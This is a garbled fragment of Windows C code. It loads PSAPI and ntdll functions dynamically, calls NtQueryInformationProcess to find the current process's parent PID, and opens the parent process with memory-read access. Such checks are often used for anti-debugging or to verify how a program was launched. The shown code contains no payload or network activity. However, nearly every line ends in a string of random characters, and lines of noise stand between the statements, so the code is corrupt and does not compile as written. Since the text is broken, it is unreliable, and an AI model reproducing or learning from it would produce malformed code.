DWORD BasePriority; 5'+g[eNyBV
ULONG UniqueProcessId; g!'
x5#]n
ULONG InheritedFromUniqueProcessId; y9]7LETv\M
} PROCESS_BASIC_INFORMATION; 8{!|` b'f
{D^
)%{
PROCNTQSIP NtQueryInformationProcess; ULu@"
,/GFD[SQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m1jEky(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5%(whSKZF
=OtW!vx#R.
HANDLE hProcess; re/u3\S
PROCESS_BASIC_INFORMATION pbi; <9"@<[[,
t(V2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %'h:G
Bkd
if(NULL == hInst ) return 0; PX_9i@ZG
T^v o9~N*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E;4B!"Q8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F.x7/;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rf8ZH
r>|S4O
if (!NtQueryInformationProcess) return 0; X_nbNql
Oi& 9FS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )quQI)Ym
if(!hProcess) return 0; HJJ)D E7;
G~.VW48{n
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H1%o)'Kut4
"Dk@-Ac
CloseHandle(hProcess); ^Ss<<
PPrvVGP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ewN|">WXQ
if(hProcess==NULL) return 0; 3I)oqS@q'
I4w``""c
HMODULE hMod; %%n&z6w